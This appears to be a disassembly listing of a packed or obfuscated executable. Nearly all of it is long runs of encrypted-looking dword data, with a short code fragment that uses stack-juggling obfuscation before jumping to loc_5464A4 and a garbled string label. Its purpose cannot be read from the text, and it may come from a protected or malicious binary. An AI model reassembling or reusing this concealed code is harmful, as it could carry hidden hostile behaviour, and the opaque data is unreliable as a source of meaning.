		dd 563B2045h, 8453905Dh, 43471C5Ah, 285390EDh, 2A751C53h
		dd 0B43E70E3h, 0CF35606Fh, 173604E3h, 9409526Fh, 810E190Fh
		dd 0C1B91213h, 2B07085Fh, 1ECD1E21h, 883210E2h,	0BFD8FC66h
		dd 0A709EA99h, 18071783h, 88399069h, 0C1BF1566h, 2B09BD39h
		dd 0EEC9C68Fh, 51B72E99h, 4B3B206Ch, 22320DE3h,	9B8F9666h
		dd 893B296Dh, 44399069h, 0A7BF1566h, 116AF345h,	77C9BA8Fh
		dd 81B72E99h, 2D3B296Dh, 113219E2h, 41B72E66h, 4B3B296Dh
		dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h
		dd 11321523h, 838B905Dh, 0C13D1C5Ah, 2232156Dh,	73D690EBh
		dd 0E5DB153Eh, 7FCDEA9Dh, 1E39A8E3h, 1AB71A6Fh,	5321566h
		dd 1C514FE3h, 0D964FC66h, 9409EA99h, 810E1EA7h,	44399069h
		dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h
		dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 241930D3h
		dd 1879C6Fh, 0C43B2043h, 0A73DFC58h, 11321540h,	8B336BEDh
		dd 0C5EC9E98h, 227215A5h, 348F2E66h, 873B204Dh,	44321DE4h
		dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h,	2B070BA3h
		dd 21BF90A1h, 88321C53h, 0CD521566h, 17179CD3h,	0DCAF986Fh
		dd 773B2940h, 66B01AB5h, 0AF321566h, 2BBD95FBh,	87E1EA6Fh
		dd 0BBCDCBE5h, 0AB879E99h, 983B2043h, 0BD0298D3h, 93AF986Fh
		dd 0DD3B2E0Dh, 34B79EB5h, 13B204Dh, 71179CE3h, 0BFBF746Fh
		dd 180E3650h, 15BFC699h, 4D0E3378h, 0A13DC699h,	1132156Ah
		dd 0ADBB90E5h, 0AD371C53h, 0DDCDEAB8h, 377588EBh, 5BCD1C5Ah
		dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h,	4D089AE6h
		dd 0A13DC699h, 1132156Dh, 0ADBBA0EDh, 0C4DB1C53h, 0A9321561h
		dd 24179CEBh, 1879C6Fh,	6F3B2043h, 9EBE2A8h, 0F896E697h
		dd 77CDEAF0h, 281D88EBh, 0F1CD1C5Dh, 9419D2EDh,	81070BA3h
		dd 6BE390EFh, 0A7B91C53h, 18070BA3h, 5BF4531h, 4D0979C2h
		dd 0A7B9C499h, 18071ABBh, 0DB94236h, 4D070BA3h,	0F1BF9836h
		dd 0EE3B2E0Ah, 3E29EB7h, 99BF3EAEh, 0A13B2069h,	24184CDBh
		dd 0C3D156Fh, 4432154Dh, 0D9B90EDh, 94191C53h, 81073F3Fh
		dd 0C23DD45Dh, 22321571h, 18F90EDh, 0D311C53h, 4D073F3Fh
		dd 0A0790EFh, 52DB1C53h, 0D9321566h, 497AD4EDh,	22321A99h
		dd 0B8B79C26h, 893B2049h, 7123B8E3h, 7BB7D26Fh,	113B204Ch
		dd 0E2321566h, 54327D26h, 48631566h, 0E0A7EA66h, 773B2047h
		dd 71168CF3h, 9FB79C6Fh, 983B2076h, 0BD1A20E3h,	0F1CD4C6Fh
		dd 2B073D53h, 1EEFA099h, 77651C53h, 712CD0D3h, 47B7986Fh
		dd 0EE3B2E17h, 0D1BF14B6h, 0CF3B204Ch, 171A20DBh, 0CC879E6Fh
		dd 7B3B2069h, 79879EC2h, 8F3B207Ah, 11CE53A1h, 49321566h
		dd 0A63710A6h, 214E2687h, 2403FCE3h, 0BDBF9E6Fh, 0CD3B204Eh
		dd 64F5B86Eh, 1132159Ah, 0B5879C66h, 0C73B207Ah, 0A73DEA9Eh
		dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h,	113213A1h
		dd 4EB11566h, 79879C62h, 0CB3B207Ah, 0EECDE380h, 8B31D5A7h
		dd 7103FCE3h, 0EF8F966Fh, 103B2071h, 88AF9169h,	7AB31566h
		dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h,	22321566h
		dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 2053A8E5h,	1E331C53h
		dd 88322BE2h, 4532AD66h, 9FB11566h, 180E1EB7h, 80B61A66h
		dd 0C9321566h, 1946B3FBh, 91E1EA6Fh, 0C3D8559h,	4432156Eh
		dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h,	88A2A566h
		dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h
		dd 0B439C4DBh, 0C03D156Fh, 2232156Eh, 654488EBh, 5BCD1C5Dh
		dd 0CF3652EEh, 171A20E3h, 92F53E6Fh, 2599118Eh,	44CE53A1h
		dd 0CB321566h, 0EECDEA77h, 940FA0EFh, 2C601C53h, 22329566h
		dd 0A4CD150Ch, 810707B7h, 6FEB8099h, 0A9681C53h, 241EA0EBh
		dd 8833D26Fh, 0C7321566h, 0AFBB11A7h, 180739D3h, 77C7058Fh
		dd 4296FC99h, 0A9521566h, 241EA0EBh, 13B9E6Fh, 7839D8EBh
		dd 6C0A946Fh, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h
		dd 113205E3h, 0BC29E66h, 0C1B913A0h, 2B073E5Fh,	1133138Fh
		dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh,	0C3D385Ah
		dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h
		dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah
		dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh
		dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h
		dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 21879866h
		dd 0A93B206Ah, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh
		dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 2B071903h, 0A7B90EDh
		dd 48B71C53h, 44289069h, 0A7F41566h, 180702FBh,	2FE07D21h
		dd 0F1CDC1FCh, 2B07031Bh, 6A4290EBh, 58CD1C5Eh,	0C1E2EA34h
		dd 1AB71AA6h, 9A321566h, 0BD230CE3h, 4BF2906Fh,	22320FE3h
		dd 8CB7D366h, 0C43B2071h, 9E2EFC0Eh, 5F87EABFh,	9C3B2070h
		dd 0B04965E3h, 16E2EA6Fh, 0E2B7C599h, 11379069h, 0A9DB1566h
		dd 0CD321566h, 1E39D8E3h, 9C64456Fh, 0B0AA2EE3h, 4FE2EA6Fh
		dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh,	0A952D607h
		dd 2D39D8EBh, 49B9456Fh, 0CF0E5565h, 22329DF6h,	88A79C66h
		dd 8D3B206Ch, 4432159Eh, 0AB3E45EDh, 243958F3h,	0CCB94D6Fh
		dd 85193142h, 297F905Dh, 933D1C53h, 88321576h, 4EAB905Dh
		dd 0A13D1C53h, 11321562h, 8836D707h, 6036D207h,	22321566h
		dd 151651A1h, 88321566h, 443210DEh, 20BF9866h, 0EE3B202Ah
		dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah,	88321524h
		dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h,	0C03DFE5Ah
		dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h
		dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h,	0EAC99667h
		dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h
		dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h
		dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h,	0A89ED555h
		dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h,	113230E2h
		dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h
		dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h,	0C1F5D638h
		dd 2B0E19FBh, 11321560h, 6BB20BECh, 0C4C99596h,	0DDD19069h
		dd 9A7CEA99h, 0BD1930E3h, 0C9A79E6Fh, 0A93B2056h, 17F196B8h
		dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h
		dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh
		dd 7BBA0EFh, 4A6D1C53h,	4CB14B3Fh, 0BE52FC62h, 0A7F5EA99h
		dd 180E19FBh, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h
		dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h,	8832EA87h
		dd 0CFEB3E66h, 171930E3h, 9CA79E6Fh, 0B3B2056h,	713444DBh
		dd 0A63D146Fh, 113215C5h, 0A3DCD5Dh, 443215FDh,	0A03DCF5Dh
		dd 0EECDEA27h, 88329B8Fh, 0D9B7D266h, 203B296Ah, 9A321566h
		dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh
		dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 4D073E43h
		dd 12BF80EDh, 0ACB11C53h, 81071337h, 0CB61A67h,	19321566h
		dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h
		dd 8B2A568h, 85381A87h
		dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 71179CD3h,	73B7D26Fh
		dd 103B2060h, 0B321566h, 1D6911A2h, 0A136D1E5h,	66DB11A2h
		dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h
		dd 40F69638h, 0DDCBD28Fh, 8CB7D299h, 8D3B296Ah,	0CF321566h
		dd 26F196B8h, 94B90B65h, 81073E43h, 74BF80EDh, 0A17C1C53h
		dd 2432FCDBh, 0C3D146Fh, 44321465h, 0A03DCD5Dh,	1132156Eh
		dd 0E3DCF5Dh, 4432154Dh, 7BBA0EFh, 8CB91C53h, 810E19FBh
		dd 48164967h, 2232CB8Fh, 94F54A66h, 8107158Fh, 44321567h
		dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 713444DBh, 0A63D146Fh
		dd 113215DDh, 0A317884Dh, 0C9B91C53h, 2B070BA3h, 0DE19DE65h
		dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h
		dd 0C1F5EA99h, 2B0E19FBh, 11321564h, 3E3DCBEDh,	0C4CB9568h
		dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h
		dd 1132EA87h, 3EB3E66h,	711930E3h, 0AFA79E6Fh, 0F83B2056h
		dd 77CDEA20h, 48AF90A1h, 22301C5Ah, 0CFB91566h,	83CA369h
		dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h
		dd 0DDD394BFh, 3A321566h, 0ADB79EBFh, 0CF3B204Dh, 170298F3h
		dd 408F966Fh, 893B2060h, 0BAFB9169h, 0FA09EA99h, 113A9769h
		dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh
		dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h
		dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h,	0C9B1CA4Dh
		dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h,	113255E2h
		dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h
		dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh
		dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h
		dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h,	1EDB1566h
		dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h
		dd 74BF98EDh, 0EBB71C53h, 11349069h, 3DBB1566h,	4D0725EBh
		dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h,	0A2C2F6E6h
		dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h,	953DFE5Ah
		dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah,	88321551h
		dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h,	0A70E1566h
		dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh
		dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h,	240298D3h
		dd 5FAF986Fh, 0BB3B2E0Dh, 72F1ECB5h, 982253EDh,	0BD163CE3h
		dd 82B14D6Fh, 838F987Ah, 0BC3B2060h, 0AC165165h, 0BD8F98CDh
		dd 8F3B2066h, 35165165h, 35BFBE36h, 4D0705E3h, 67616CBh
		dd 0D26CBE4Eh, 38AF9830h, 0BB3B2E0Dh, 0FF95FCB5h, 0CEDFFFFFh
		dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 7E453BC0h, 0A8ED96ABh
		dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h,	798A152Ah
		dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
		dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
		dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 4CB1DF49h, 6E32DCF1h
		dd 0BA832EE1h, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
		dd 6F622238h, 0DF074623h, 5D939A98h, 3C6D5h, 5492B85Eh
		dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0C53EBC2Fh
		dd 3C525F6Ch, 8A5A7411h, 0B977DDDCh, 0F4B95163h, 0B575DF79h
		dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh
		dd 83074148h, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h,	0C117FB23h
		dd 25F44152h, 0FDF53FD5h, 4E10E5ADh, 0B734229Eh, 23AC7ACFh
		dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 7CC69469h, 98DBFFA0h
		dd 0C87D7314h, 0F305E983h, 8DDB8BA4h, 3C0CA9BDh, 908D8D09h
		dd 0B8093C27h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h
		dd 0F2850F49h, 8BFFFFFFh, 0A1BD83C0h, 93526h, 0BD830975h
		dd 9353079h, 50197400h,	0B8C08B53h, 411h, 2CA98589h, 9D8D0935h
		dd 937B49Fh, 585BD3FFh,	3079BD83h, 74000935h, 0B8535017h
		dd 411h, 2CA98589h, 9D8D0935h, 937B140h, 585BD3FFh, 0F2BBC08Bh
		dd 0EB4672A4h, 0CD8F5D04h, 55EE976h, 31230000h,	0DC510794h
		dd 0F20D8C5h, 0DF570992h, 61FE1BAh, 78110A93h, 9DFE9B92h
		dd 485540DBh, 9C019E90h, 4E4F48E4h, 466C325Ah, 4212FA18h
		dd 2B473291h, 58D143AEh, 88A45C41h, 3797021Fh, 364123A9h
		dd 5F91171Ch, 930C2094h, 253A833Bh, 0E1796C79h,	71A8E15h
		dd 73F2579Ah, 233AC481h, 57C93BB6h, 0CB25A74Ah,	24BDB12Bh
		dd 726F0177h, 1CB9B729h, 0CDC863D5h, 0E550C101h, 6F5346DDh
		dd 11EFD48Ah, 0EC73831Eh, 0A0A58FFCh, 6292071Eh, 346976E8h
		dd 8B2427Ah, 2D24B001h,	0BEDB57C9h, 0F26D8F33h,	3E810FE7h
		dd 6E1C35C3h, 6012E1F6h, 0BAADD282h, 0ACC53B56h, 556C62Dh
		dd 4F775C1Fh, 0DF05B2ADh, 1C3545D5h, 0D221CFD1h, 6B59A64Eh
		dd 50F61B72h, 0AB4C89h,	84760000h, 5D04F0E9h, 0C609B915h
		dd 0F937F94Fh, 9C804A98h, 60721C35h, 8880B35Fh,	0D91DC301h
		dd 23CECB67h, 36363195h, 0D3CE611Ch, 27B0AC20h,	0CF865CCh
		dd 0AB996C69h, 86130CAEh, 0D3D9E96Bh, 40300E85h, 88C56D89h
		dd 0DF895098h, 1, 812A47B0h, 616BAD44h,	0E4FAD26Dh, 1C361CDEh
		dd 0D71AD4DAh, 83495733h, 771C361Ch, 160B8571h,	38C2688Bh
		dd 0B83CB720h, 2DAAC23Ch, 0BCD952C6h, 30ADC335h, 9282D3C1h
		dd 6E9036D7h, 9F11E0F5h, 58DC1782h, 23115E96h, 0FD9A9426h
		dd 88272F6h, 490F8C15h,	0D7CFCCD5h, 0A64E4BE5h,	0AB2E4707h
		dd 4059D448h, 4F7B43B1h, 36412B91h, 7D791F1Ch, 0D0493C28h
		dd 100CD4C9h, 34C66C87h, 0E7599D3Ah, 0E9C05D48h, 6A896772h
		dd 8E908E6h, 4796B79Dh,	40895000h, 0A1h, 0AB2E478Fh, 93396723h
		dd 871C3641h, 680E9561h, 3AB9DE56h, 53CC3EB6h, 4B001418h
		dd 23CD4D64h, 821F11ABh, 8A09ED6Fh, 79781D16h, 876A6F07h
		dd 0FBD8CC19h, 35B0DFE5h, 1BD5DB1Ch, 0C48173F2h, 3DB9263Ah
		dd 6E2FAAC3h, 666673EAh, 3ABADF54h, 72ED0FB3h, 93396767h
		dd 871C35B0h, 31B9561h,	0B9098EA6h, 0BDECC3B5h,	39B836E8h
		dd 0E2E7CD58h, 9BD2F8A6h, 6C021C35h, 0AD53556Fh, 31D125B4h
		dd 8950A5ECh, 93041C9Eh, 7118DC60h, 3Ch, 0AB2E4722h, 3D5AD448h
		dd 17FD1EB6h, 0CFCCCD64h, 76EB15DCh, 1914886Bh,	14866E80h
		dd 49D9019h, 567907EAh,	5B1C3641h, 0C7D24973h, 0F74CA82Ch
		dd 0FA014C0Dh, 166894Fh, 25000000h, 46AD2847h, 0B2415ED2h
		dd 41B0253Eh, 0AC4752CFh, 82654FBCh, 0D6A19300h, 805F3C59h
		dd 33715D35h, 150363A4h, 299B5658h, 0DAAB7E35h,	3BB6233Ch
		dd 7EDB09B9h, 7F019A54h, 6DFBF6E3h, 13013249h, 29DCC855h
		dd 6020AC35h, 1770C03Dh, 7B50A425h, 81706905h, 6B86130Fh
		dd 0D1A490FDh, 6F57445Dh, 44FC090Fh, 0C13595B0h, 8582EC21h
		dd 1377B92h, 2E4C0000h,	0D50BC39Bh, 15035F4Eh, 9E3B34CAh
		dd 0AF1FD153h, 24FFC5DBh, 0F5FB1301h, 120E8201h, 4E2E1885h
		dd 2BBAD68Fh, 0DE50A4FFh, 49795542h, 1F0AB91h, 0F37A7A04h
		dd 0FDF4ED81h, 0EB06938Bh, 0FCF7E279h, 775C4895h, 0A36369h
		dd 9F515713h, 790CF865h, 0AB9FFCE5h, 92859762h,	3C05h
		dd 872EC600h, 23D907C7h, 971C3642h, 6852E211h, 771C3641h
		dd 29B0A953h, 0B63D58D7h
		dd 876DC232h, 0B814D4DBh, 3641D02Ah, 5FD2E41Ch,	41388220h
		dd 0AA2C1C36h, 0F9F1AA44h, 9Dh,	0D39B2E5Ah, 0C3DC505Dh
		dd 0B903A12Dh, 0AD1C3641h, 0DB09C52Bh, 15036974h, 42881672h
		dd 36130116h, 3C861CB0h, 38130116h, 0E903EB6h, 0E4FD71E3h
		dd 4B58D6E8h, 0CF27C9D4h, 0EDEA86FAh, 0C15E6006h, 0A34E4BE4h
		dd 0A024CF21h, 17C9BE54h, 0CA671301h, 0B8B024CFh, 0F06DD41Fh
		dd 0AA7B6104h, 4653CFBAh, 673F8A55h, 3F8C3967h,	6E700BD5h
		dd 1C001E5Eh, 0D8595B2Bh, 0F23951Ch, 75ED5F92h,	41B8D64h
		dd 0C6A85A99h, 0E34CF9A7h, 1D071EC1h, 0C9BB285Ah, 12BA9225h
		dd 16ADFCCh, 0CAD3D515h, 0C39B2EE9h, 6AE8D50Bh,	0CACC150Ah
		dd 20B9B527h, 7F1C12ACh, 42DEA277h, 7A0E9E55h, 0B65A8BBAh
		dd 64D81BB8h, 9427CACFh, 27E4876Dh, 0D4C55D5Fh,	65B9B1Dh
		dd 0EAF76B1Eh, 6F03FDB1h, 14088272h, 7CF4688Bh,	2826E12Dh
		dd 6C926819h, 8D0FE2F7h, 1C9063h, 77E85C97h, 4C99876Ah
		dd 76E79D58h, 7A67FB8Eh, 0D6C35F21h, 0C341C6F6h, 0A61ABFB6h
		dd 0A94DF5DCh, 8402Ah, 4F910000h, 0F4E57D7Fh, 15476100h
		dd 53CF41B0h, 2739AB46h, 0AEC537BAh, 0DD54C82Bh, 0AAC335BCh
		dd 0D850C42Fh, 0AFC034BFh, 0D04DBF32h, 505D2AC9h, 405E089h
		dd 83000000h, 48704E8h,	4895C24h, 0A066824h, 34890000h
		dd 0E3895324h, 4C381h, 0EB830000h, 241C8704h, 241C895Ch
		dd 71F3BA52h, 0CA812F1Eh, 0E3D0F9Ch, 56DBF281h,	89532603h
		dd 5BDE89D3h, 4EC815Ah,	89000000h, 4832424h, 525B0424h
		dd 8B951h, 0CA890000h, 89DA0159h, 34FF5A32h, 0C4815B24h
		dd 4, 5E2434FFh, 0E904C483h, 0FFF95060h, 9F99820Bh, 4062446h
		dd 21847A73h, 3C2DFDB8h, 0FFC50309h, 1AE7AE0h, 2BD5B278h
		dd 0BC101F58h, 9DDEE86Dh, 6813E213h, 1ABC237Fh,	8EB3Eh
		dd 0E5000000h, 0E90687A8h, 4A9h, 3C2FC168h, 501AE909h
		dd 4D68FFF9h, 0E9093C30h, 0FFF95010h, 3C318F68h, 5006E909h
		dd 0C577FFF9h, 2845BBE0h, 0FB74ECB1h, 233BBDDEh, 0FA73E5B6h
		dd 84F5BEDFh, 316A6F06h, 7C21B4AFh, 306D6A04h, 722BB4A8h
		dd 0EAD00EBEh, 0DE12FA13h, 2E470EADh, 0C53BA6BBh, 2FC22CADh
		dd 6338A1BDh, 75593184h, 852F7519h, 8B1C3641h, 36416F55h
		dd 7F456B1Ch, 84079D59h, 70150361h, 0D3F5836Eh,	313011Eh
		dd 0CF7F726Fh, 6EEE179Fh, 3D35CB9Dh, 0BF5E647Ah, 545A1300h
		dd 0FC69579Ah, 6A246D08h, 33BEDB50h, 4F045B1h, 857C0A43h
		dd 2B55D92h, 492E0000h,	4DCE70Ah, 55271AC8h, 8B0D1503h
		dd 0D62AD93h, 1EA0D81Eh, 118EA207h, 8EA014DFh, 905EE211h
		dd 0EC6D164h, 0DB6520BEh, 1D6520B2h, 0D9F7AEB0h, 0CC23225h
		dd 0AC6E795Ch, 28C6C46Dh, 0B36B3EC9h, 0AFBB851Bh, 29BF179Dh
		dd 8747A930h, 0BBE0F975h, 34B02945h, 0DDF3B669h, 0BB05ED74h
		dd 86000002h, 2AAEEFD4h, 6FF1AA37h, 40B8E5F0h, 6AEEAF28h
		dd 0FEB5E6F3h, 7564FD8Dh, 1EBBB028h, 7865FB7Dh,	0D8C15D23h
		dd 23C10DC3h, 12FA1299h, 2EBB008Dh, 0B30BC39Bh,	9EE3D5B0h
		dd 47F30361h, 33994783h, 271C3544h, 74DF7581h, 7015096Fh
		dd 742A5E6Eh, 12F96E4Eh, 0CC5B764Ah, 88360F7Eh,	9EEA8E66h
		dd 65D706DEh, 6A644C15h, 0CDD08D2Eh, 0B12BCB25h, 47C21B8h
		dd 0F7856C6Dh, 0DA8D6BA2h, 0E105928Eh, 0E066710Ah, 2F6650D3h
		dd 0FA000002h, 5E227B58h, 13C5D6C3h, 641C811Ch,	0ED2CBCCh
		dd 22198217h, 1188A169h, 3A5FD48Ch, 14819F61h, 445DD187h
		dd 871D7157h, 12FA113Dh, 2E27AC39h, 0D50BC39Bh,	150A6C8Eh
		dd 0E5F26A94h, 0B63D6311h, 6277EE10h, 5BE90D8Fh, 12FA1375h
		dd 0C5AF36h, 2A0403C0h,	8373CAFEh, 8C91B2DBh, 165B592h
		dd 47160000h, 7193802Bh, 9B1836DAh, 362A9E55h, 4053F4A9h
		dd 0A2BA4488h, 0BA3ABE35h, 5D8DD00Eh, 5D831503h, 20C00696h
		dd 24811301h, 1EB61730h, 33B19285h, 0E2000000h,	0BC39B2Eh
		dd 3724AD5h, 24FAAE15h,	3F247F12h, 0A9537B75h, 44C82BB6h
		dd 1DA331B0h, 0DE1300B1h, 91BC9D87h, 0D9928589h, 0A74F4AE7h
		dd 0B800h, 2B47CF00h, 0DF9F43AEh, 6B037266h, 2497526Eh
		dd 9B920CE8h, 6A84110Eh, 80191587h, 0E301CD71h,	1C3613D9h
		dd 0B12BCBCDh, 60F802BDh, 0EAF87C77h, 1C3613E0h, 86234BD2h
		dd 962CFBBBh, 1FBDDE10h, 1C36224Bh, 8D0E8BA7h, 9F2FE7B2h
		dd 0A45D49DFh, 7480D023h, 0F14F1AC8h, 0A3451501h, 0D21F5F2Bh
		dd 5E7D1963h, 0B1A822D2h, 74ED7328h, 0C8608165h, 0B63DF2D9h
		dd 0EDCCh, 3D9AB800h, 1C859860h, 7B66F97Fh, 0D1C65E22h
		dd 7C1D14CCh, 0A367141Fh, 0CA8E0F8Ah, 0A1574451h, 0D789128Fh
		dd 6B5D3E5Bh, 10377D23h, 0A23312FAh, 0AB2E4721h, 0E5F26EF2h
		dd 395CD7E9h, 0E9BE36BAh, 0AE2B474Ah, 545DD143h, 0B537BADFh
		dd 3285623Bh, 8816725Ah, 1C364142h, 9844B036h, 30DC20Ah
		dd 9834BA15h, 118A0F26h, 128FA31Dh, 7F814CAEh, 14E02A7Bh
		dd 8D387Eh, 0EBF46813h,	0A2372EB2h, 68674Fh, 2EA80000h
		dd 0D50BC39Bh, 150A6C9Ah, 0F599587Eh, 22EEE78Dh, 0CE30D7AFh
		dd 3CAE4653h, 0E1B68920h, 3392BA09h, 418E0BDh, 9489339Bh
		dd 0DA6AE90Dh, 0A519D2Bh, 0EE998BDAh, 57696572h, 943AB9DCh
		dd 0AE9A644Eh, 0B03E6015h, 7DF16744h, 31B8D64h,	206D5B96h
		dd 0B42D4134h, 0E4FD71E7h, 3D5AD6E8h, 3503AB9h,	81000000h
		dd 1547844Fh, 53CF41B0h, 2739AB46h, 0AEC537BAh,	0DD54C82Bh
		dd 0AAC335BCh, 0D850C42Fh, 0AFC034BFh, 0D04DBF32h, 525D2AC9h
		dd 0C281E289h, 4, 8704EA83h, 895C2414h,	8956241Ch, 4C681E6h
		dd 81000000h, 4EEh, 24348700h, 2414895Ch, 81E28952h, 4C2h
		dd 4EA8300h, 5C241487h,	57240C89h, 0A50069BFh, 92E7817Bh
		dd 81280C38h, 941EB3EFh, 0E1BB5352h, 3124DC30h,	0EF815BDFh
		dd 9D03197h, 7145EF81h,	0FA89DEA7h, 4EC815Fh, 89000000h
		dd 4832424h, 52590424h,	0E8240481h, 8F6D1428h, 0BF570841h
		dd 6D1428E8h, 5F087929h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5464A4
; ---------------------------------------------------------------------------
aJq		db '├О,:',0
		dw 25FCh
		dd 0A9422094h, 32A1B8E5h, 0C503093Ch, 49C9E0FFh, 0F6023219h
		dd 0EE112EB8h, 6EA23407h, 548B7BC0h, 3BC1306Ch,	19C56A29h
		dd 2D45566Dh, 0B75F1D69h, 0BFD73D5h, 0E9F95BFFh, 890D4BF6h
		dd 26664B5Ch, 1DB62399h, 21BA06D1h, 0E7C00AB0h,	4F361C3Fh
		dd 465D63D3h, 0BC8C769Eh, 0C29F2193h, 0E5535FDCh, 297B3BA5h
		dd 0EDE90E39h, 60000000h, 0A8D88C66h, 0DF840F04h, 8B000000h
		dd 3521E5B5h, 0FE8309h,	22850Fh, 85C60000h, 935179Dh, 69696845h
		dd 0B5FF8E72h, 9350EC9h, 7B70858Dh, 0D0FF0938h,	1AC98589h
		dd 0F08B0935h, 0FE93E80h, 3185h, 59858D00h, 0FF093A87h
		dd 5BD8BD0h, 8109350Ch,	1184C7h, 0E5B58B00h, 87093521h
		dd 8B9F7h, 0A4F30000h, 21E5B58Bh, 858D0935h, 938A94Eh
		dd 0B58BD0FFh, 9352385h, 0F00FE83h, 2285h, 9D85C600h, 54093517h
		dd 4EBEF468h, 0C9B5FFFFh, 8D09350Eh, 387B7085h,	89D0FF09h
		dd 35238585h, 80F08B09h, 850FE93Eh, 3Ah, 2385B58Bh, 858D0935h
		dd 93A8759h, 0BD8BD0FFh, 9350C05h, 1184C781h, 0C7830000h
		dd 85B58B08h, 87093523h, 8B9F7h, 0A4F30000h, 2385B58Bh
		dd 858D0935h, 938A94Eh,	0C361D0FFh, 33C1858Dh, 8589093Ch
		dd 935036Dh, 0E79E04EBh, 51E93A8Dh, 82000005h, 36AAF3D0h
		dd 7BFD9E3Bh, 0DCA4F9E4h, 964A5344h, 9AA1FA9Fh,	0A93029E1h
		dd 0E2F76CF4h, 0AC2947B9h, 0ECF569EFh, 0FD5F9AFh, 12FA0DA5h
		dd 15CFF4A1h, 41A12BB9h, 23951C36h, 0E2668D08h,	0FA76E80Ch
		dd 79DF1DDh, 1C3641BDh,	40BF37B9h, 574455CCh, 8248DA1h
		dd 216D618Fh, 418D376Dh, 67891C36h, 3641377Dh, 49AD331Ch
		dd 859A24CAh, 9F57D918h, 49A8312Dh, 871D5AD7h, 1C36413Dh
		dd 8917B739h, 1C364143h, 0B43FB137h, 11E4D04Dh,	0B648841Dh
